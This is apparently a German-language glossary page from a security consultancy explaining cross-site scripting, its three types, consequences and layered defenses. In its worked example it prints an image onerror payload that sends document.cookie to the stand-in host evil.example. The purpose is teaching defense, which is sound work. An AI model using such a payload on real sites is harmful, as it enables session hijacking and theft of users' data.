Engineer

Cross-Site-Scripting

eingeschleuster Code mit den Rechten der Website

Was es ist

Cross-Site-Scripting, fast immer zu XSS abgekürzt, ist ein Angriff, bei dem eine Website fremden Text übernimmt, in eine an andere Personen ausgelieferte Seite einfügt und dabei nicht neutralisiert. Der Browser liest deshalb einen Teil dieses Textes als Code und führt ihn aus. Die Common Weakness Enumeration führt das unter CWE-79. Ihr Titel sagt weitgehend dasselbe: nicht neutralisierte Eingaben bei der Erzeugung einer Webseite. Der Angreifer ändert nie den Code der Website. Er liefert Daten, und die Website selbst liefert das Skript innerhalb ihrer eigenen Seiten an ihre eigenen Nutzer aus.

Es gibt drei Wege hinein, die sowohl der CWE-Eintrag als auch OWASP beschreiben. Bei reflektiertem XSS, auch nicht persistent oder Typ 1 genannt, steckt die Nutzlast in der Anfrage, meist als URL-Parameter. Der Server kopiert sie in die Antwort: eine Suchergebnisseite, eine Fehlermeldung oder irgendetwas, das empfangene Eingaben wiederholt. Das Opfer muss zum Öffnen eines präparierten Links verleitet werden. Deshalb stellt der CWE-Eintrag solche Links in den Mittelpunkt vieler Phishing-Verfahren. Bei gespeichertem XSS, auch persistent oder Typ 2 genannt, wird die Nutzlast zunächst gespeichert, etwa in einem Kommentar, Forenbeitrag, Profilfeld oder einer Logmeldung. Sie wird bei allen ausgeführt, die diesen Datensatz später ansehen. Bei DOM-basiertem XSS, Typ 0, sieht der Server die Nutzlast möglicherweise nie. Das JavaScript der Seite liest etwas vom Angreifer Kontrolliertes, etwa den Teil der URL nach `#`, und schreibt es so in das Dokument, dass der Browser es als Markup parst.

Der Name passt schlecht zum heutigen Problem, wie auch OWASP sagt: Das Merkblatt zur Vermeidung nennt ihn eine Fehlbezeichnung. Er stammt aus frühen Angriffen, die Daten über Websitegrenzen hinweg stahlen. Inzwischen umfasst er das Einschleusen nahezu beliebiger Inhalte in eine Seite, unabhängig davon, ob eine zweite Website beteiligt ist. Selbst die Abkürzung hat eine

Geschichte. Der CWE-Eintrag erinnert daran, dass das naheliegende Kürzel aus drei Buchstaben anfangs üblich war, bis die Kollision mit Cascading Style Sheets es verdrängte.

OWASP ordnet XSS als Injection-Angriff in dieselbe Familie wie SQL-Injection ein. In beiden Fällen überschreiten Daten eine Grenze und gelangen dorthin, wo sie als Anweisungen gelesen werden: dort in das von einer Datenbank ausgeführte SQL, hier in Markup, Attributwerte und JavaScript einer Seite. Die Abhilfe hat dieselbe Form. Bleiben Daten beim Einfügen Daten, hat der Interpreter nichts vom Angreifer auszuführen.

Das Konzept für eine Entscheidung nutzen

Nutzen Sie „Was ist Cross-Site-Scripting?“ für eine konkrete Entscheidung. Wir können helfen, das Konzept mit dem System in Verbindung zu bringen, das Sie entwickeln oder einkaufen. Konten, Passwörter und Berechtigungen werden so geordnet, dass alle genau den beruflich erforderlichen Zugriff haben und ihn am Tag ihres Ausscheidens verlieren.

Unsere Leistungen entdecken Kontakt aufnehmen →

Die Annahmen hinter dem Begriff prüfen

Nutzen Sie die Erklärung und die verlinkten Arbeiten, um Fragen für Ihr Projekt zu formulieren. Wir können die Annahmen gemeinsam mit Ihnen prüfen, bevor ein Werkzeug ausgewählt wird. 1.000 RBAC-Regeln für sichere Linux-Server — 1,000 Zugriffsregeln zum Schließen einer Sicherheitslücke

1.000 RBAC-Regeln für sichere Linux-Server Kontakt aufnehmen →

Warum es wichtig ist

Das Skript läuft wie eigener Code der Website. Der Browser hält nicht fest, woher der Text kam. Er sieht eine von der Website unter deren Origin ausgelieferte Seite und gibt dem Skript alles, was dieser Origin erlaubt ist. OWASP fasst das Problem in einer Zeile zusammen: Der Browser „kann nicht erkennen, dass dem Skript nicht vertraut werden sollte“. Der CWE-Eintrag zieht die Konsequenz. Der Angriff unterläuft die Absicht der Same-Origin-Policy, die Skripte einer Website vom Zugriff auf eine andere abhalten soll.

Das Skript kann tun, was auch der Nutzer könnte. CWE-79 nennt den Diebstahl privater Informationen aus Cookies, etwa Sitzungsdaten, als häufigsten Angriff. Besonders gefährlich sei er, wenn das Opfer Administratorrechte auf der Website hat. OWASPs Liste ist länger: im Namen des Kontos handeln, Nutzeraktivitäten beobachten, fremde Inhalte laden, sensible Daten stehlen und die Seite selbst umschreiben. Gespeichertes XSS in einer Logmeldung ist ein klassischer Weg gerade zu solchen Opfern. Der CWE-Eintrag verwendet es als Beispiel, weil Logleser häufig Administratoren sind und eine Loganzeige feindliche Eingaben möglicherweise nicht richtig behandelt.

Das betrifft jedes Webteam, nicht nur Teams, die Markup noch von Hand schreiben. Moderne Frameworks haben XSS seltener gemacht. OWASP führt die geringere Fehlerzahl auf ihre Templates und das automatische Escaping zurück. Jedes Framework bietet weiterhin Möglichkeiten, das automatische Escaping zu umgehen, wenn Entwickler Markup direkt einfügen möchten. OWASP nennt sie als die Stellen, an denen weiter Probleme auftreten. Dasselbe Merkblatt sagt ausdrücklich, dass keine einzelne Technik XSS löst und eine Kombination nötig ist. Das bildet den Rahmen dieses Artikels: zuerst für den richtigen Kontext kodieren und die anderen Schichten dahinterlegen.

Wie es in der Praxis aussieht

Nehmen Sie einen Shop, dessen Suchseite den Suchbegriff wiederholt, sodass `https://shop.example/search?q=lamp` die Ausgabe `Results: lamp` zeigt. Der Server baut diese Zeile, indem er den Parameter in sein Seitentemplate einsetzt. Ein Angreifer schickt einem Opfer einen Link mit diesem Wert für `q`:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Der Server setzt ihn wie zuvor ein. Der Browser des Opfers erhält:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Das Bild wird nicht geladen, weil `x` kein Bild ist. Der Browser führt den `onerror`-Handler aus, der die Cookies des Nutzers an den Server des Angreifers sendet. Der Code steckt in einem Attribut, nicht in einem `<script>`-Element. Das ist typisch: OWASPs eigene Beispielnutzlast verwendet das `onerror`-Attribut eines Bildes auf dieselbe Weise.

Die Lösung ist, den Wert für seine Zielposition zu kodieren. In HTML-Text zwischen Tags bedeutet das, die fünf Zeichen `&`, `<`, `>`, `"` und `'` in `&`, `<`, `>`, `"` und `'` umzuwandeln. Dieselbe Nutzlast kommt dann als `<img src=x onerror="...">` an. Der Browser zeigt sie als Text und parst sie nie als Tag. Frameworks mit automatischem Escaping erledigen das für Sie. Die Lücke entsteht dort, wo stattdessen eine Zeichenfolge von Hand zusammengesetzt wird.

Bei der DOM-basierten Variante sendet der Server nur eine statische Seite. Ihr eigenes Skript liest `q` und schreibt den Wert in die Überschrift:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parses q as HTML
heading.textContent = `Results for ${q}`; // shows q as text
```

Die `innerHTML`-Zeile übergibt das Markup des Angreifers an den HTML-Parser, und der `onerror`-Handler wird wie zuvor ausgelöst. Der HTML-Standard hält fest, dass ein so eingefügtes `<script>`-Element überhaupt nicht ausgeführt wird. Deshalb setzen Nutzlasten stattdessen auf Eventhandler-Attribute. Die `textContent`-Zeile erzeugt einen Textknoten und parst nichts. Derselbe Wert erscheint deshalb als harmlose Zeichen. OWASPs Merkblatt zu DOM-XSS nennt die Wahl eines solchen sicheren Ausgabeziels die beste Lösung. Das allgemeine Merkblatt fordert Entwickler auf, `innerHTML` durch `textContent` zu ersetzen.

Hinter der Kodierung liegt eine zweite Schicht. Eine Content Security Policy mit einer Nonce weist den Browser an, nur Skripte mit dieser Nonce auszuführen. Der aktuelle W3C-Entwurf verlangt bei jeder gesendeten Richtlinie eine neue Nonce und empfiehlt dafür mindestens 128 Bit aus einem kryptografisch sicheren Zufallszahlengenerator. Ein eingeschleustes `<script>` hat keine Nonce. Auch ein Inlinehandler wie das obige `onerror` wird abgelehnt: Nur `'unsafe-inline'` oder `'unsafe-hashes'` können Handler erlauben, und eine Nonce schaltet `'unsafe-inline'` ab. Der Entwurf nennt `script-src 'strict-dynamic' 'nonce-{RANDOM}'` zusammen mit `base-uri 'self'` als wirksamen und praktisch einsetzbaren Schutz gegen XSS. In Chromium-basierten Browsern geht `require-trusted-types-for 'script'` weiter und lässt Ausgabeziele wie `innerHTML` einfache Zeichenfolgen ablehnen. OWASP warnt weiterhin, dass sich eine Richtlinie leicht falsch konfigurieren lässt, und behandelt sie als Zusatzschicht statt als Hauptschutz.

Auf einer Plattform mit beruflichen und organisatorischen Daten setzt die Next.js-Middleware eine solche Richtlinie mit einer Nonce pro Anfrage und strict-dynamic, zusammen mit HSTS und SameSite-Cookies. So beschränkt der Browser streng, was er ausführt und sendet. Dieselbe Seite beschreibt mehrschichtig angelegte Schutzmaßnahmen, um nicht von einer einzigen Kontrolle abzuhängen. Die serverseitige Autorisierung ist so konzipiert, dass sie unabhängig von clientseitigen Prüfungen arbeitet. Die Oberfläche ist damit nicht die maßgebliche Instanz für Zugriffsentscheidungen.

Wo es schiefgeht

Kodierung für den falschen Kontext. HTML-Entitätskodierung passt für Text zwischen Tags und reicht anderswo nicht. OWASP gibt jedem Kontext eine eigene Regel: Ein Wert in einem URL-Parameter wird in der Form `%HH` prozentkodiert, ein Wert in einem Attribut für Attribute kodiert und in Anführungszeichen gesetzt. Kodierung schützt außerdem nur die Stelle, an der eine Zeichenfolge eingefügt wird, nicht ihre spätere Verwendung. Ein an `eval()` übergebener Wert ist unsicher, unabhängig von vorherigen Maßnahmen. Klären Sie, wo jeder Wert landet, und verwenden Sie den Framework-Encoder für diese Stelle.

Attribute ohne Anführungszeichen. Leerraum beendet einen nicht in Anführungszeichen gesetzten Attributwert. Wer ein Leerzeichen hinzufügen kann, kann deshalb ein eigenes Attribut ergänzen. Schon `onmouseover=` genügt. Setzen Sie Attributwerte immer in Anführungszeichen und verwenden Sie den Attributencoder des Frameworks.

Nutzerdaten in einem Eventhandler-Attribut. Attributkodierung schützt JavaScript in `onclick` und verwandten Attributen nicht. Zeichenreferenzen werden vom HTML-Parser dekodiert, bevor das Skript läuft. Binden Sie Handler mit `addEventListener()` an und übergeben Sie den Nutzerwert als Daten.

Rohe Eingaben an einer Framework-Schnittstelle ohne Escaping. Reacts `dangerouslySetInnerHTML`, Angulars Funktionen `bypassSecurityTrustAs*` und Lits `unsafeHTML` schalten alle das automatische Escaping ab. Müssen Nutzer tatsächlich Markup verfassen können, verarbeiten Sie es mit einem Sanitizer wie dem von OWASP empfohlenen DOMPurify. Verändern Sie das Ergebnis danach nicht mehr und halten Sie die Bibliothek aktuell, denn neue Umgehungsmöglichkeiten werden fortlaufend entdeckt.

Eine `javascript:`-URL in einem Link. Ein Websitefeld im Profil mit `javascript:` und nachfolgendem Code macht aus einem harmlos wirkenden Link ein Skript. React 19 blockiert solche URLs in `src` und `href`. Laut OWASP ersetzt das aber nicht die eigene URL-Validierung der Anwendung. Erlauben Sie nur die tatsächlich benötigten Schemas, etwa `https:`, und lehnen Sie alles andere ab.

Eingabevalidierung oder eine WAF gilt als Lösung. Validierung hilft, kann aber nicht jedes gefährliche Zeichen aus Freitext entfernen. Das CWE-Beispiel ist das Herz-Emoticon `<3`, das die Validierung einer Chatanwendung wahrscheinlich

zuließe und das dennoch `<` enthält. Eine Web Application Firewall sucht nach bekannten Angriffszeichenfolgen, übersieht neue Umgehungen und sieht nie DOM-basiertes XSS, das vollständig im Browser stattfindet. OWASP empfiehlt sie nicht zur XSS-Vermeidung. Kodieren Sie die Ausgabe und behandeln Sie beides als Zusatzschichten.

HttpOnly gilt als Heilmittel. Das Attribut HttpOnly am Sitzungscookie verhindert, dass `document.cookie` es liest. Das entschärft die häufigste Nutzlast. Das Skript läuft aber weiter und kann innerhalb der Seite als Nutzer handeln. Der CWE-Eintrag nennt HttpOnly keine vollständige Lösung. Laut OWASP begrenzen Cookieattribute die Folgen, verhindern aber nicht die Ausführung. Setzen Sie es und beheben Sie die Injection.

JSON wird als HTML ausgeliefert. Ein Endpunkt, der Nutzerdaten mit `Content-Type: text/html` zurückgibt, lädt den Browser dazu ein, sie als Seite zu parsen. OWASPs Regel lautet zu prüfen, dass JSON als `application/json` ausgeliefert wird. Setzen Sie den Header bei jeder solchen Antwort ausdrücklich.

Die Richtlinie gilt als Hauptschutz. Eine über Antworten hinweg wiederverwendete Nonce, ein fehlendes `base-uri` oder ein für ein einzelnes Widget ergänztes `'unsafe-inline'` können eine Richtlinie jeweils unbemerkt unwirksam machen. Kodieren Sie zuerst und lassen Sie die Richtlinie auffangen, was durchrutscht.

Weiterführende Lektüre

- CWE-79 in der Common Weakness Enumeration — der Schwachstelleneintrag: drei Typen, Folgen und Gegenmaßnahmen mit ihren Grenzen.
- OWASP-Merkblatt zur Vermeidung von Cross-Site-Scripting — kontextabhängige Kodierung, Umgehungsmöglichkeiten in Frameworks, Bereinigung und dahinterliegende Schutzschichten.
- OWASP-Merkblatt zur Vermeidung von DOM-basiertem XSS — sichere und unsichere Ausgabeziele im Browser mit ausgearbeiteten Beispielen.
- OWASP: Cross-Site-Scripting (XSS) — der Angriff aus Sicht des Angreifers mit Beispielnutzlasten.
- HTML-Standard: Skriptausführung — wie und wann das `script` -Element ausgeführt wird, einschließlich eingefügten Markups.
- Content Security Policy Level 3 — Nonces, `'strict-dynamic'` und die vom Entwurf empfohlene strenge Richtlinie.

Glossar

Für Ihre tatsächlichen Rahmenbedingungen auswählen

Beschreiben Sie den Bereitstellungsweg, die Betriebsrisiken und die Bereitschaftsverantwortlichen. Wir können eine Änderung mit Prüfungen, einem Wiederherstellungsweg und klaren Zuständigkeiten abgrenzen.

Preise ansehen Kontakt aufnehmen →

Die Begriffe praktisch nutzbar machen

Fragen Sie, wie „Was ist Cross-Site-Scripting?“ auf Ihre Organisation zutrifft. Ein konkretes Beispiel aus Ihrem bestehenden System reicht aus, um das Gespräch zu beginnen.

Unsere Leistungen entdecken

welcome@engineer.company +45 50 10 61 84 Kopenhagen, Dänemark

Nehmen Sie diese Seite mit

Kontaktkarte

Mit Sorgfalt und Liebe gestaltet von D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Copyright © 2025 – heute · Engineer ApS · Alle Rechte vorbehalten.

Gedruckt von https://engineer.company/de/glossary/cross-site-scripting/